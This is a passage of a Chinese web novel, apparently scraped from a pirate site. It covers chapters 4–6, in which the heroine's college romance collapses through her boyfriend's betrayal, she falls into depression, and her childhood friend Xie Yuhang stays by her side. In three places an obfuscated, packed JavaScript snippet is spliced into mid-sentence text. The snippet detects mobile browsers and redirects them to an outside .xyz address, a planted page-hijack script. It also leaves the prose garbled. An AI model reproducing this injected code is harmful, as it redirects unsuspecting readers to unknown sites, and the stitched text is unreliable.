谢宇航嗤之以鼻:“我可没那么闲。”他顿了顿,又不大耐烦地解释:“我妈,前几天去香港血拼,顺便替你找的。” 说来也很神奇,那些药里真有一种对她的肠胃炎有奇效,这些年来全靠这药救命。幸好谢阿姨常常去香港血拼,总在她药快吃完的时候又替她及时补货。这时候谢宇航扔给她的正是一袋子那种药,她欢天喜地收好,在他耳边大声说:“阿姨又去香港血拼了?多谢阿姨。” 车里的音乐沸反盈天,放的是一个叫Black Dahlia(黑色大丽花)的死亡金属乐队的歌。那个乐队曾经是她高中时的最爱,这两天她心血来潮翻出那几张高中时买的CD,又重新听起来,一听似乎就重燃起她中二的斗志。谢宇航打开了她的音乐,现在又嫌弃音乐太吵,说话都要用喊的,抱怨了一声“什么破音乐!”,无情地将音乐关掉,停了片刻,换了话题说:“听说了吗?曹思静要结婚了。” 音乐停掉,车里面陷入一片令人不适的安静,偏偏谢宇航还提了个令人不适的话题。曹思静要结婚了,婚礼就在这个月,她早从大学室友夏雨晴那里听到了这个消息。世界就是那么小,夏雨晴在本市著名的婚庆会所工作,而曹思静的婚礼正好就订在了那家会所。 她没想到谢宇航消息也如此灵通,笑了笑问:“怎么,难道你收到请柬了?” 谢宇航嗤了一声说:“没有。她怎么可能发请柬给我?我和她根本不认识。” 她问:“那你怎么知道的?” 谢宇航目视前方,淡然说:“自然是有别的同学收到了请柬。所以你收到请柬了?” 她笑,和谢宇航一样的回答:“没有啊,她怎么可能发请柬给我?” 谢宇航回头着意看了她一眼,大概是见她神色如常,才冷笑一声说:“呵,也是,曹思静要是给你发请柬,她的脸皮得是有多厚?” 4. 第 4 章 life isn’t a knight on horseback, it’s a fight for a knife in the mud ——生活不是骑士策马而来,而是在泥泞中为一把刀拼命厮杀。这是另一句肖景辰喜欢的《继承之战》里的台词,叶玄霖竟然也觉得深有同感。 回想当年,自从高中毕业后,她有几年没和曹思静联系,尽管她们两个的大学离得不远,公共汽车也就几站地。她同肖景辰在一起的那两年,他们又大多在她自己的学校范围内活动,所以同曹思静连偶遇也没有过一次。那时候她同肖景辰的恋爱谈得如火如荼,热烈也高调,根本无暇他顾。 肖景辰是个神奇的超人,每天在各处打工,功课没落下,还有空被她随叫随到。虽然她心疼他赚钱不易,但他似乎十分在意,在物质上从来不肯亏待她。只要两个人在一起,好吃好喝都是他买单,她只好找了许多藉口,买了情侣装,情侣手表,情侣戒指,情侣项链等等五花八门的东西回赠他。冬天一放寒假,她想出去旅游,又怕他要抢着付钱,不敢告诉他,偷偷买好了机票定好了住处把他骗到机场,最后一分钟才告诉他要去厦门。 他们的民宿定在曾厝垵后面的山坡上,极目远望可以看到一点点海的边缘,吃东西要下山走十几分钟。民宿有点简陋,床板有点硬,WIFI时有时无,但价钱是真便宜,人也少。她特别得意找了这么个性价比极高的地方,拉着肖景辰拍了一段视频发在朋友圈上。视频上他们两个就头碰头地挤在一起,她对着镜头说:“纪念一下我们第一次旅行,这是我们住的民宿,那边是海。大海,我来了!” 这条朋友圈对她所有的好友开放,相当于是对全世界高调官宣,知道的不知道的这下也全知道了。她的朋友圈很热闹了一阵,大院儿的小伙伴们纷纷发来祝贺,连谢宇航都不咸不淡地回了一句:“住的什么鬼地方?去基层体验生活呐?” 诚然,以前她同小伙伴出游,肯定是商务舱和五星级海景大酒店,不曾来过这种烟火人间。但现如今来了,她真觉得其他都不重要,只要是和对的人在一起。 她的高调官宣当然没躲开父母的眼睛,她也没试图躲避。春节父母回家过年,展开一场血雨腥风。父母肯定是打听了肖景辰家里的情况,训斥她单纯恋爱脑,不懂得人心险恶,不防备别人对她另有所图。她跟父母硬刚,对他们大声吼:“反正从小到大我的事你们从来也不关心,你们不同意没关系,大不了以后我的事都和你们没关系!” 大年三十的傍晚,大雪纷飞。她负气从家里跑出来,买了张火车票去肖景辰家找他。他家在高铁都不停靠的小地方,适逢春运,火车票十分紧俏,她买了张站票,和一车农民工一起在绿皮火车的过道里摇摇晃晃地坐了一整夜。好不容易下了车,她发现他的家乡比首都又冷了一个数量级。数九寒天,冰天雪地里,她随着陌生的人流涌出车站,幸好一出站,就远远看见他鹤立鸡群般站在人群中向出站口遥望。 白茫茫的大雪在头顶落下,瞬间模糊了她的视线。天气是真的冷,说呵气成冰是一点都不夸张,眼泪涌出来立刻就可以在脸上结成冰渣子。她穿过人群跑过去,一头扎进他的怀抱,委屈地诉说:“现在我没地方可以去了,你要收留我。” 他替她抹掉眼泪,用自己的羽绒服裹住她,在她耳边安慰她:“没关系,你还有我。” 她在他找的小旅馆里住了三天。据说他家不在县城,坐车还要在林海雪原里开两个小时。她以为他会带她回家过年,结果他似乎顾虑重重,她问了几次,他才说:“我家里地方小,条件差。天这么冷,你肯定不习惯,还是先别去了。我妈知道你,等夏天我再带你回去。” 她起先不理解,后来想想也释然了。也许他的顾虑是有道理的,他们两个来自不同的世界,他怕吓到她,不想让她去吃那个苦,也是为她考虑。至少他都没回家过年,大过年的全程都陪着她,他家里人一定也是知道他们的事的。 只是她也不可能永远呆在那个小县城里,总还是要回归现实世界。既然是闹革命跑出来的,家,她肯定是不愿意回去的,想来想去给谢宇航打了个电话,问他:“我和家里吵架了,你有没有什么地方可以让我住几天?就几天,住到开学学校宿舍开门为止。” 谢宇航答应帮她想办法,过了十几分钟就打电话回来告诉她:“给你找了个朋友的地方,可以住到开学。” 第二天肖景辰送她回帝都,谢宇航开车来接她,脸色却不是很好看,阴恻恻地斜眼睥睨肖景辰,趁着肖景辰往车上搬行李的机会悄悄问她:“就他?为这么个男的离家出走?你想好了?” 她知道肖景辰敏感,生怕他觉得自己的朋友看不起他,狠狠给谢宇航使眼色,叫他别说了。谢宇航白了她一眼,总算是闭了嘴,拉开车门去前面开车,一路上再也没开口同她说话。 谢宇航带他们去的地方是个一居室,离他们的高中母校特别近,房子不大,但一应家具俱全,显然是有人住的。主人大约是个爱书的人,满架子的各色书籍,还有整整齐齐一排CD。这时候已经没什么人听CD了,这些CD恐怕也有些年头了。她大致看了看,一半是什么维瓦尔第和巴赫,另一半是摇滚重金属,她甚至在那半排死亡金属的CD里发现了一张她喜欢的乐队“Black Dahlia”的唱片。 肖景辰忙着去收拾行李,谢宇航放下钥匙就要走,她把谢宇航送到门口。门口的墙角边静静放着一对毛茸茸的拖鞋,乳白色,上面是加菲猫的图案,一看就是女生的式样。她再一回想,刚才在洗手间里看到毛巾和牙刷的式样,虽然都是新的,但显然也是女款。她忍不住好奇地问:“谢宇航,这是你哪个朋友的房子?我认识吗?” 没想到谢宇航脸上神色一顿。她打趣他:“哟,不会是女朋友家吧?连拖鞋毛巾都是女生的式样。”可再一想,刚才客厅里书架上的CD一大半是维瓦尔第和巴赫的小提琴曲,而谢宇航可是在高中时没日没夜狠狠练过一阵小提琴的,就又笑说:“等等,这该不是你和女朋友爱的小巢吧?” 谢宇航回过神来,皱起脸一副吃到苍蝇的样子,点她的脑袋:“你别不识好人心行吗?看看这拖鞋毛巾什么可都是新的,是……我朋友昨晚连夜去买的,只不过人家没想到你这是双宿双飞,还带了个人回来而已。” 不知谢宇航是哪里来的子虚乌有的朋友,他不说,她也就没多问,她自有自己要面对的苦恼。 开学伊始,她又搬回了宿舍里。父母过完年倒是走了,替她交了学费,也停了她的信用卡。她那时候觉得无所谓——不就是少买东西,不能去外面玩乐,每天在食堂里吃饭吗?别的同学可以,她也可以,况且她还有肖景辰,比别人都要富足。 为了挣零花钱,她甚至在外面找了个兼职。大院儿一个小伙伴认识一对短期出国夫妇,找人照料他们的金毛,她就去了,后来竟然发现这是门好生意,另有附近其他工作忙的人找人遛狗,她就一并都接了,每天下课在公园里遛一群狗。谢宇航嘲笑她,说她如今过得还不如狗,她倒觉得很快乐,有种放飞自我的独立自由。也幸好父母一如既往地在她生活中缺席,让她不用日夜同他们对抗。 暑假来临,肖景辰在一家公司找了个实习,她在咸鱼上卖掉了一个包和一条项链,给他买了一身正装。那只是个办公室打杂儿的活儿,也没必要穿得多高尚,只是她见不得他得不到最好的。 转眼又到了寒假,这是肖景辰毕业的一年。肖景辰的专业冷门,最好的去处大概是国企,然后被派去中亚或者非洲喂蚊子。只是即便这样,门槛也是一个平头百姓很难触及的高度。他的秋招十分不顺利,简历雪片一样撒出去却都如石沉大海,最后只好指望春招。 她的父母要回来过年,她又搬去谢宇航朋友那处空着的房子里过冬。 她同父母一直僵持不下,双方都没有让步的意思。父母停了她的零花钱,要她好好反省一下,富裕的生活得之不易,穷人哪里那么好当。她的执拗劲上来,坚决不让父母得逞。夹在中间的赵阿姨愁眉不展,看见她回家来收拾东西,哭丧着脸说:“玄霖,你父母也是为你好,你就服个软,男朋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15035820|162422||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 友的事慢慢说服他们不行吗?唉,大过年的,家里冷冷清清……” 这世界上只有她一个人觉得她不需要自己的父母,连肖景辰对她和家里的冷战也更上心些。他曾经小心翼翼地问过几次:“你和叔叔阿姨,还是不说话?”她每次都不耐烦地回答:“不说话不好吗?他们一张嘴除了教训我也没什么别的话,我才不需要他们。” 最后他们甚至因为这件事吵了一架。大冬天的傍晚,她从家里收拾了东西,趁着父母还在飞机上匆匆从家里搬出来。肖景辰来接她,两个人在外面胡乱吃了一顿晚饭。 那些高大上的日料店他们早已不去了,如今他们经常光顾路边小店,价格通常和肖景辰打工的烤串店旗鼓相当。那天两个人点了两碗炸酱面,店外风声呼呼,他们挤在小方桌前,就着店里送的热汤呼噜呼噜地干饭。昏黄灯光下,肖景辰停下来,犹豫了片刻说:“你这样跑出来是不是不太好,叔叔阿姨该怎么想啊?” 她觉得那声“叔叔阿姨”叫得十分刺耳,抬头怼回去说:“谁是你叔叔阿姨?你叫得那么亲热,他们可不领情。” 换了以往,只要她脸色一沉,肖景辰会立刻识相地闭嘴,换一个她喜欢的话题,哄她几句。今天的他却不大一样,眉头一蹙,接着说:“你总不能永远和他们闹下去吧?” 她没想到他竟然不站在她这边,心里一顿,像被针狠狠扎了一下,立刻冲口而出: “是,不错,是我要和他们闹,都是我的错,行了吧?那现在怎么样?是不是要我回去跟他们道歉,然后跟你分手?” 她撂下筷子从店里跑出来,他在后面追上来,一时没有追上,语气有几分无奈:“大小姐,你不要那么冲动行不行?我怎么会愿意分手?我只是为我们的将来考虑,你不能这么和他们硬刚,难道真要和他们断绝关系?我当然是希望你父母能接受我,你也不愿意你父母对我印象不好吧?” 这是他第一次喊她“大小姐”。不错,他们在一起的每时每刻,似乎都是他在迁就她。以前他好像甘之如饴,到了这一天,他似乎忽然失掉了耐心。冬天冷得凝固的空气里,她心头一凛,突然意识到,他的话里现在反复提到的只有“我”,“我”,“我”……那一霎那,她仿佛被人当头一棍,突然想到她从未想到过的事,恍然说:“我明白了,你一直希望我同家里和解,是因为这样也许他们能帮你找个好工作,对不对?” 他的脸笼罩在昏黄路灯外的阴影里,声音幽冷地说:“你怎么能这样看我?” 她的心忽然像沉到了海底,带几分委屈地赌气说:“那我该怎么看?可是对不起,现在我同家里闹僵了,没有利用价值了,配不上你了。” 他停了片刻,似乎自嘲地笑了一声说:“你要这么想,我也没办法。” 天昏暗阴冷,沉得仿佛要立刻下雪。她拖着行李箱自顾自掉头就走,肖景辰不远不近跟在她身后,一直跟到她进了小区,上楼,打开房门。原本他们当然是打算一起过年的,这一刻她冷冷回头说:“我看我们还是彼此好好冷静一下,你要不还是找个别的地方住?” 她说这话赌气的成分多,料定他一定会使劲招数解释,低声下气把她哄好,不料这天他在黑暗中一顿,片刻点了点头说:“也好。” 她狠狠将门关在身后,踢掉鞋子,冲进客厅。 房间里很暖和,和外面是两个世界。墙角亮着一盏落地灯,窗下的加湿器还在呼呼地喷着雾气,就好像房子的主人从来未曾离开过。书架旁的茶几上新添了一只胶囊咖啡机,咖啡机旁叠着一大摞热巧克力胶囊。记得她上一次住这里的时候还说,天这么冷,要是有热巧克力喝就好了。这家的主人倒好像是同她心意相通。 茶几上还新添了一只硕大的雪花玻璃球,底部是蓝色海洋,上面还飘着一只帆船。她打开开关,雪花就纷纷落在海面上。她被暖气熏湿了眼角,忽然想到不久前的夏天,他和肖景辰还一起去旅行,住在破破烂烂的民宿里。那时候她冲着窗口朝远处大声喊:“大海,我来了!”可现在夏天一去不复返,窗外一片冰冷,连海上都飘起了雪花。 5. 第 5 章 这是叶玄霖同肖景辰第一次真正意义上的吵架,似乎来得毫无征兆,又似乎来得理所当然。 他们的冷战持续了两个月。他还如往常一样天天发消息来晨昏定省,她不理他,等着他像以前一样花样百出地来认错哄她回头,但他却也没有别的动静。开学后,她忽然在他朋友圈上看到,他回了他白雪皑皑的家乡。她忍不住去他大学室友那里旁敲侧击地打听了一下,听到的消息是他的母亲病重,已经到了生死存亡的关头。 两个月来他对她的冷遇忽然都找到了理由。此刻她再如何公主病,也做不到无动于衷,打电话去问他:“你妈的事我听说了,你怎么不早点告诉我?现在你那边情况怎么样?需要什么?医药费够吗?要不要我给你打点钱?” 他在遥远的边陲小镇,天气严寒,信号不好,她仿佛能在嘶嘶的电话杂音里听到背景里肆虐的北风。他沉默了一刻,很长的一刻。她耐不住性子,追问:“你就说要还是不要?这有什么好犹豫的?”他才说:“不用了。你的零花钱不是被父母停了吗?你也不可能凑到那么多钱。” 他虽然说不用,但听他的意思显然是缺钱。她不可能回去求父母,但身边值钱的东西却还有一些,名牌包包,衣服,首饰,电脑,还有以前买了又不喜欢的化妆品,全都被她搬到咸鱼上以最快的速度低价卖掉,身上只剩了肖景辰送她的那条叫“雏菊钥链”的项链。 她还去大院儿的小伙伴们那里借钱,重点对象就是谢宇航。谢宇航自然又不放过损她的机会,阴阳怪气地说:“哟,你家那位人生赢家啊!能不能帮我问问,上哪儿能找到你这种冤大头?”有求于谢宇航的时候她选择不跟他计较,最仗义的也的确是谢宇航,没多久就帮她凑到一笔钱,她统统都打给了肖景辰。 肖景辰再一次回来的时候,手里抱着他母亲的骨灰盒。 春寒料峭,北方的大地还没来得及暖过来,帝都的火车站上已经热火朝天。她去接他,看见他出现在出站口,戴着帽子,穿着厚厚的军大袍,一手搂着骨灰盒,一手拎着旅行袋,带着股子黑土地的粗粝感,那一刻大概才是他的本色。 她早已忘了他们为什么吵架,跑过去抱住他说:“你可算回来了,以后不准你再和我吵架了。” 然而现实总是来得迅雷不及掩耳。如果春招无果,肖景辰立刻要面临毕业即失业的境地。春招接近尾声的时候,有一天他说:“有件事其实我一直想告诉你,但因为觉得这只是个备选方案,未必用得上,所以至今一直没说。” 她紧张:“什么事?” 他说:“我和室友去年一起考了雅思和GRE,申请了美国几个学校的硕士,如果幸运能拿到奖学金,可以继续去读书。” 美国的奖学金哪里那么好拿?怎么他随随便便就能拿到?要不是他确实过于优秀,就是他预谋已久。她相信了是他着实优秀,只是确实不明白他为什么一直没有告诉她。可他又说:“我也替我们想过了。你还有一年毕业,正好趁这一年好好准备,申请个那边的学校,我在那里等你。” 这些话她也信了。他似乎永远比她要深谋远虑,当她还在为眼前的小事忧虑或喜悦的时候,他想的永远是人生大计,什么A方案B方案C方案,每一条都规划得清清楚楚。 最后他实施的是他人生的B方案——春招不成功,就出国深造。她把他送到机场,那时候想的是异地一年而已,她无论如何也能奔赴他的方向。她清楚地记得他们最后分别的场景——有点空阔的机场,前面是海关威严的大门,再多走一步就到了不得不分手的地方。他看上去充满对未来的憧憬,一手拉着行李,一手给了她一个坚实的拥抱。她趴在他肩头上,有点想哭,眼泪涌上来又被她强行压下去。这时候他说:“你放心,我一定会成功的。你借我的钱我一定会还你。” 这就是他留给她的最后一句话。 这句话没毛病,十分符合肖景辰一直以来不想在经济上被人看低的脾气,可却并不是她想听到的话,甚至后来一直梗在她胸口的位置,结成一个阻碍血液顺利流通的疙瘩。她起先不明所以,后来才想明白——因为在依依惜别的时刻,他想的不是她,而是钱。 她报好了读GRE的培训班,但最终没去,因为期间发生了一件事,改变了她的人生。 她在咸鱼上卖过不少东西,不知怎么回事,咸鱼的个性广告直接通过短信发到她手机上。起先她并未在意,多收到了几次,她发现似乎是同一个卖家,点进链接看了看,有人在卖男生的衣物和鞋子,虽然是过去几季的东西,但都确实是奢牌。她再多看了几眼,那些东西都有些眼熟,貌似都是她过去给肖景辰买过的东西。 卖家叫“瑞雯美“,女生的名字,甚至让她联想到她的母校睿文中学。她满腹狐疑,联系了卖家问:“你的东西我都感兴趣。你好像跟我同城,能不能看看实物?” 卖家答应得很爽快,立刻和她约了时间,给她发了地址。 那个地址离她的学校竟然也不远,在学校往郊区去的路上,一个老旧的小区里,半地下,并不像买得起奢牌的人会住的地方。她按着约好的时间找过去,到了门口收到卖家的消息,告诉她去拿快递了,立刻就回来,门没锁,欢迎她先进去等。 她觉得这卖家着实匪夷所思,又十分好奇,转了转门把手,发现门果然没有锁,就依言进了屋。 这是个一个房间的小套房,除了厨卫,客厅和卧室同在一处。房间里陈设也简单,一张双人床,一个衣柜,一张书桌。双人床上杂乱地堆着被褥衣物,书桌上堆着小山一样的书。她好奇地探头去看,发现书桌上横七竖八摊着几本英语参考书——雅思作文范文,GRE词汇精选,历年真题集……这些都是她如今耳熟能详的参考书,其中有一本被埋在其他书下面,封面上露出半个人名,她忍不住伸手把上面那几本书拨开去看那书上写的名字。果然,封面上用她熟悉的字迹写着她熟悉的名字:肖景辰。她弄乱了书桌上堆得小山一般的书,才发现书桌上一叠书的背后还有个相框,相框里的照片像是有些年头了,照片里是穿着校服的少女。校服就是她熟悉的睿文中学的校服,那张脸也是她熟悉的模样。 她的目光停留在那张照片上挪不开,这时候门口一阵响动,有人走进来。她回头望去,看见曹思静驻足站在门口,脸上挂着令人寻味的浅笑,对她说:“叶玄霖,你来了。” 那是个神奇的下午,故事的情节以最狗血的方式展开。多年不见,曹思静也变了模样,马尾辫变成日式短发,素面朝天变成了精致裸妆。她无疑比以前更健谈,给她泡了茶,脸上的神色甚至有几分兴奋,语气带几分玩味地说:“肖景辰没说过他和我认识吧?我们同届,在新生报处认识的,他们系报到处就在我们系的隔壁。我们大概算一见钟情吧,我不知道他是不是,反正我是。他是我大学里认识的第一个人,第一个约会的男生,初恋,初吻,都是他。他也是知道我最多过去的人,我们在一起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15035821|162422||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我对他说过许多成长的经历,小时候怎么拼尽全力做到最好,怎么进了睿文中学,又怎么没日没夜地读书。他知道我高中有一个人见人爱的同桌,家里有钱有势,喜欢吃日料。我们去逛商场,我还指着某间时髦首饰店说,喏,这是我那个同桌喜欢的牌子……” 房间里空气不好,大夏天还带着股子阴湿的味道,像下水道的臭味,憋得叶玄霖头晕目眩,喘不过气来,只听曹思静半是嘲讽语调说:“算我自作自受吧,明明讨厌你,还特别在意你的存在,天天把你挂在嘴边,还给肖景辰看你的照片。大二那年,我就发觉肖景辰不对劲,偷偷看了他的手机,发现那年520他订了两束花,一束红玫瑰送给了我,另一束深紫色的雏菊,好像和你朋友圈晒的那几朵大黑花很像。后来很快,他就提了分手……” 半地下的采光不好,只有头顶的地面上透过半扇玻璃窗投来的一束狭长阳光。曹思静就坐在半缕阳光下,脸上带着些怪异的光彩,略一停顿,冷笑了一声:“呵,肖景辰这个渣渣!可我也理解他选你不选我。你有没有听说过马斯洛的心理需求层次?生理,安全,社交,尊重,自我实现。你在矫情父母为什么不能天天陪在你身边的时候,我们还在为生计发愁。所以如果有一个能让我少奋斗十年的人,我也会选他。” 曹思静坐在仅有的一点阳光下,叶玄霖却坐在阳光照不到阴影里,只觉得浑身都冷,不禁问:“这些,你为什么不早告诉我?” 曹思静冷蔑一笑,抬眼望着她:“为什么要告诉你?好让你更得意些吗?” 她颤声问:“那现在呢?你为什么会有我送给他的东西?” “你们吵架了呀。”曹思静笑着说:“他很苦恼你和家里闹翻了,他的专业又不好找工作,找我来诉苦,自然就回来了。我们一起考了雅思和GRE,约好如果有一个人拿到奖学金,我们俩就结婚一起出国。我知道这是他的备选方案,多一个人考多一分拿奖的机率嘛。可那又怎么样,我就是看不惯啊,凭什么我想要的你都有?万一我运气好呢?难道不能反过来一次?” 她的脑子里乱成一团,只是问:“可他最后一个人走了,你没申请到奖学金?” “无所谓,反正我天生没有中奖的命,奖学金本来就是希望渺茫的事。” 曹思静耸肩,停了片刻,又忽然抬眼盯着她说:“哦,对了,你不知道肖景辰也没有申请到奖学金吧?我家里是没条件给我付学费的,他家里更没有。可他还是如愿入学去了,因为后来他忽然凑够了一年的学费。你猜猜,他是怎么凑够钱的?” 曹思静盯着她的样子,好像不想错过她脸上的任何一丝表情。有一刻她想转身逃走,可忽然在阴风阵阵里打了个寒战,脑子里又忽然清明起来,冷声说:“你绕了那么大一个圈子骗我来这里,就为了告诉我这些?” 曹思静抬头望了望发霉的天花板,环视四周,想了想说:“是啊,我想了很久,最后还是想把这事告诉你。请你来这里,就想让你看看我和肖景辰一起住过的地方。地方是小了点,但也是我们一起住了一年的地方。” 这时候窗外乌云袭来,头顶最后的半缕阳光淡去,被阴阴的灰色取代。曹思静背脊笔挺地坐在她对面,双手交叠在膝盖上,一字一顿地说:“叶玄霖,没想到你也有今天吧?” 她在阴影中嘴角轻扬露出微笑,似乎终于找到一丝胜利和安慰:“你有没有想过,每一个晚上,他给你发短信告诉你他有多想你的时候,他可能就躺在我身边?” 6. 第 6 章 The good thing about having a family that doesn''t love you is you learn to live without It. ——有一个不爱你的家庭的好处在于,你学会如何没有家人也能活下去。这又是一句《继承之战》里的著名台词,叶玄霖也同样感同身受。 举一反三,她觉得,把家人换成爱人也成立——有一个不爱你的爱人的好处在于,你学会如何没有爱人也能活下去。 大学最后一年对于她来说就是一场长长的噩梦。同寝室的室友发现她常常沉睡不醒,有时候一连睡上一天两夜,课不去上,功课更不去做。别人都在忙着写毕业论文和找工作,只有她窝在帘子后面睡觉,夏雨晴来喊她起床她好像根本听不见。 沉睡中,在那些灰暗的梦境里,她常常看见小时候的自己:父母拖着行李箱要走,她跟在后面哇哇大哭,一边哭一边含糊不清地喊:“妈妈爸爸你们别走……求求你们,带我一起去吧,我再也不调皮了,一定会听话的……”有时候老妈会蹲下来告诉她:“玄霖听话,你在家里听赵阿姨的话,爸爸妈妈很快就回来了。”有时候老爸会在她头顶严肃地说:“爸爸妈妈是去工作,那边条件差,不能带小朋友,爸爸妈妈都是为了你好。你是叶家的孩子,已经这么大了,要学会艰苦奋斗,当年红军长征的时候你爷爷奶奶都是在老乡家长大的。”大部分时候她只记得父母一去不复返,赵阿姨抱着她替她抹眼泪,哄她说:“玄霖别哭了,咱们回去了,赵阿姨给你做汤圆吃。” 后来她也梦到过肖景辰。她送他到机场候机大厅的中央,背后是瞬息万变的人群。她想说再见,发现自己张不开嘴,只听到肖景辰语气冰凉地说:“你放心,等我飞黄腾达的那一天,钱一定会还给你的。” 也许曹思静是对的,她这个人曾经很矫情,总是怕得不到爱。她后来被确诊得了抑郁症,在医院里住了一段时间。 一段时间究竟是多长时间,其实她并不知道。时间在她日复一日的睡睡醒醒和醒醒睡睡之间变得模糊不清。她只记得父母来过。父亲对她一贯是失望的,皱着眉头不说话。母亲按捺着性子,说得自以为苦口婆心:“我们早和你说过,你还太年轻,识人不清。现在也好,不就是失恋,过一阵就好了,你还是要坚强起来……” 有时候她很庆幸父亲已经失望得不想说话了,这时候要是再听红军长征的故事会把她逼疯。 有时候她甚至不知道床头边坐的是谁。大院儿的小伙伴应该是来过,好像也有谢宇航。有一次半醒半睡之间,有人在她耳朵里塞了一副耳机,告诉她:“叶玄霖,这是Black Dahlia 新出的单曲,你听。” 她蜷在病床上面朝墙壁,不知道背后陌生的声音是谁,只听到耳朵里的音乐骤然躁动起来。死亡摇滚确实有种活人微死感,鼓点和电吉他在黑暗中循环往复,震耳欲聋却叫她昏昏欲睡。她不耐地朝背后喊:“走开!我要睡觉!” 父母等不到她出院又回去工作了。每天陪在她身边的是赵阿姨,从早到晚地唠叨:“又不吃早饭……中饭多少得吃一口吧,医院的饭难吃,你看赵阿姨给你做了你喜欢的汤圆儿……唉,这都一整天了,晚饭又不吃……” 她出院那天似乎就是五月二十号,病房门口出现了一束黑色非洲菊,和她曾经收到过的一模一样。她收拾完东西坐在床边上发呆,赵阿姨捧着花进来,看她面无表情,故作雀跃地唠叨:“喜欢我家玄霖的人可真不少!这不又来一个?啧,这花颜色黑乎乎的,不好看……不过这是谁送的啊,也不留个卡片……该不会是那年被咱们大院儿警卫抓起来的那个小伙子吧?要不然是隔壁老谢家的小子?你们不是中学同学吗?你住院他都来了好几次了……” 她真正好起来是那年的夏天,有一次谢宇航来拉她去海钓。 她刚睡了场无敌长的午觉,坐在镜子前梳脱发脱得已经快秃了的头,谢宇航就在她的镜子里唠叨:“我有一个朋友海钓特别厉害,最近跟他去钓了几次,上次钓到过八十几斤重的马鲛鱼。这周末我们出海,你也来?” 又是“我有一个朋友”系列。她无情地断然拒绝:“这天气,不嫌热吗?” 他说:“不会啊,海上风大,孤男寡女的,正好喝酒谈心聊人生聊理想,多好的机会。” 又是“我有一个朋友”又是“孤男寡女”,她一听就觉得谢宇航有不可告人的目的,拒绝得更加决绝:“不去,没空。” 他又好像很高兴被拒绝,调头就往门外跑,边走边说:“行,不去就不去,反正我叫过你了。” “谢宇航!回来!”这下她又不满他走得太快,把他叫回来抱怨:“走这么快,是怕我反悔啊?” 他依言走回来,大脑袋出现在她的镜子里,神色却很是嫌弃:“看看你这脾气,温婉端庄贤淑你占哪一样?怪不得没人要。” 谢宇航一贯爱说她没人要,这时候说这扎心的话却十分不厚道。换做以前她一定会怼回去,这时候望着自己镜子里憔悴苍白的样子和梳妆台上落满的长发,她忽然有些脆弱,抬眼看他,很认真地问:“谢宇航,你说我是不是真的没人要?我不会真的要孤独终老吧?为什么你们都不喜欢我?” 下午的阳光毫无遮拦地洒满房间。他的眼神在刺目的阳光下有片刻迷惘,一定是不习惯她突如其来的认真态度。停了片刻,他才说:“谁说没人喜欢你?有啊……总有的吧?” 这话她却不信,只当那是他笨拙的安慰,自嘲地笑了一声说:“能有谁喜欢我?连我自己的父母都不怎么喜欢我。” 她没有立刻听到他的回答。房间里静默了一刻,她抬头去看他,却发现他避开了她的目光,顿了顿说:“呃……你们家赵阿姨啊,她对你掏心掏肺的,像对自己女儿一样,肯定是因为喜欢你吧。” 看他目光躲闪的样子,是傻子都看得出他言不由衷。那一刻她着实吓了一跳,“卧槽”两个大字像弹幕一样缓缓滑过脑际,冲口而出地问:“谢宇航,你不会喜欢我吧?” 幸好他下一刻就恢复了常态,一副吃到苍蝇的样子,伸手来敲她的脑袋:“我?喜欢你?叶玄霖,你自己照照镜子,再仔细看看!我又不瞎,怎么可能喜欢你!再说,我们穿尿片的样子彼此都看过吧?你觉得这像话吗?” 她捂住脑袋对他怒目而视,心里其实有几分庆幸。要是谢宇航真的对她动了心,她并不知道要怎么收场,恐怕是她唯一一个知心朋友都要失掉了。他大概也觉得自己的话说得难听,不该对病人这样不留情面,话锋一转又说:“……我的意思是说,何必纠结别人喜不喜欢你,你喜欢自己不就行了吗?再说,你也别放弃希望嘛,说不定有哪个傻子在世界的哪个角落喜欢你呢?这世上眼瞎的人也不是没有。” 也许她真有被谢宇航的毒舌安慰到,也许就像他说的那样,如果你觉得这世上没人爱你,就更应该学会好好爱你自己。 她休学了一年。那年暑假过后,她拉黑了肖景辰的所有联系方式,回学校好好读了一年书,把剩下的学分修完,又去英国读了一年硕士。那已经是十分久远的事了,一晃眼过去了六七年,一切恍如隔世。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15035822|162422||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 但一连八年,除了她在英国那一年,每一年的五二零,她的门口都会出现一束一模一样的黑色非洲菊。最早两年她把花扔进了垃圾桶。那黑色的花束就好像是故意每年来提醒她记住那些阴魂不散的过去,而她一点也不想回忆。后来,从英国回来后的那一年,她忽然觉得送花的人颇是好笑,反而买了个花瓶,每次都煞有介事地把花插起来。 谢宇航老骂她:“那个渣男每年给你送花,你不嫌恶心?怎么不扔出去?” 她总是反驳说:“你怎么知道是他送的?也未必是。” 